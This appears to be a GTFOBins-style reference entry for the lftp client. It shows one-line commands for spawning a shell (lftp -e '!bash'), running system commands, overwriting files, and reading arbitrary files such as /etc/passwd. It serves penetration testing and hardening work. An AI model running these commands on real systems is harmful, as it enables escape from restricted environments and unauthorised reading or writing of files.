.. / lftp
Star

LFTP is a file transfer client (FTP and other protocols).

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

Stack commands that include launching a shell.
```
lftp -e '!bash'
```

Command

It can be used to break out from the intended program by running non-interactive system commands.

Stack commands that include running a command.
```
lftp -e '!whoami'
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

Overwrite a file, or create an empty file.
```
lftp -c 'mirror --script=lftp.script'
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

Read an arbitrary file by specifying it as a script file.
```
lftp -f /etc/passwd
```